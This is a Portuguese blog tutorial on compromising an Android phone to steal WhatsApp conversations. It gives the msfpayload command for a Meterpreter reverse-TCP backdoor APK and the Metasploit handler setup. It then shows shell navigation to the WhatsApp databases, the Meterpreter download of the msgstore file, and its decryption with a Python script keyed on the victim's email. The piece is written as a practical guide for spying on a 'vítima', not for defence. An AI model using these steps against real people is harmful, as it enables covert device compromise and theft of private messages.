O WhatsApp virou um aplicativo muito popular hoje em dia, acabou até mesmo tomando o lugar do Facebook nas conversas pessoais com os amigos, o que pouca gente sabe é de sua fragilidade, principalmente em relação ao seu banco de dados e as coisas que ele armazena nos aparelhos em que o App é instalado.

Como sabemos, o Metasploit Framework tem um módulo para criar um Backdoor para infectar aparelhos com Android (fiz uma postagem sobre isso aqui), porém, podemos fazer muito mais do que apenas infectar, como roubar os dados do WhatsApp por exemplo.

A primeira coisa que precisamos fazer é criar um backdoor para infectar o Android.
Para isso usamos o comando:

msfpayload android/meterpreter/reverse_tcp LHOST=[ip] LPORT=[port] R > nome.apk

001

Depois colocamos o Metasploit em modo “handler”, ou seja, vamos deixa-lo escutando a futura conexão reversa que ele vai fazer.
Usamos o comando:
use exploit/multi/handler

Depois setamos o Payload:
set PAYLOAD android/meterpreter/reverse_tcp

E setamos o IP e a PORTA.
Depois executamos com o comando “exploit”.

002

Agora, usando qualquer programa de Remote Desktop, colocamos o backdoor em formato APK que fizemos anteriormente dentro do Android e executamos o arquivo.

003004

Uma vez executado, o Metasploit vai acusar a conexão reversa e automaticamente vai abrir o Meterpreter.

005
Usamos então o comando “shell” para abrir o shell interativo do terminal do Android.

007

Com o comando “pwd” verificamos onde estamos dentro do Android, nesse caso, estamos na raiz dele.
Andamos até a pasta “sdcard” e depois para a pasta “WhatsApp”.
Como isso, podemos pegar imagens e vídeos por exemplo.

008 009

Mas o que queremos mesmo é o banco de dados das conversas no WhatsApp.
Para isso, devemos ir para a pasta:
/sdcard/WhatsApp/Databases

Podemos verificar que existem vários bancos de dados, cada um deles relacionado com uma data.
Vou pegar um qualquer, apenas para servir de exemplo.

010

Para fazer o download de um arquivo usando o Meterpreter, simplesmente precisamos indicar o local do arquivo que quereremos e o local dentro de nosso computador para onde ele deve ser salvo.

011

Ou seja, ficaria assim:

download caminho/arquivo/vítima caminho/no/meu/computador

No meu caso, o caminho ficou:

download /mnt/sdcard/WhatsApp/Databases/msgstore-2014-04-17.1.db.crypt5 /home/tux/

Onde:
/mnt/sdcard/WhatsApp/Databases/msgstore-2014-04-17.1.db.crypt5

É o caminho do arquivo no aparelho da vítima que eu quero pegar, seja ele um smarthphone ou um computador.

/home/tux
Caminho dentro do meu computador onde o arquivo vai ser salvo.

Ok, feito o download do arquivo, você vai perceber que ele é criptografado, porém, isso não é problema, já existe um script feito em Python que faz a quebra do arquivo e salva em Sqlite.
Download do Script Aqui.

Para conseguir ver os arquivos, vamos usar um Plugin para o Firefox, chamado SQLite Manager.

013

Depois de pegar o Script em Python para quebrar o banco de dados do WhatsApp (aplique permissão de execução), precisamos aplicar a seguinte sintaxe:

./pwncrypt5.py nome-do-arquivo.db email@vitima.com > dados.db

012

O banco de dados do WhatsApp é criptografado usando AES de 192 Bits, e entre as chaves usadas para isso, é usado também o e-mail do usuário daquela conta, ou seja, você vai precisar saber isso caso queira quebrar o banco de dados de alguém.

No meu caso ficou:

./pwncrypt5.py msgstore-2014-04-17.1.db.crypt5 shellzen1@gmail.com > saida.db

O operador “>” é usado apenas para que todo o conteúdo seja inserido dentro do arquivo “saida.db”.

Depois de feito, basta apenas abrir o arquivo “saida.db” dentro do SQLite Manager e ver todas as mensagens do usuário.

014

A verdade é que, para pegar os dados de alguém não é preciso usar o Metasploit, só precisa mesmo é pegar o banco de dados do WhatsApp, com ele em mãos, basta usar o script é ver todo o conteúdo das conversas.

Sharing is caring!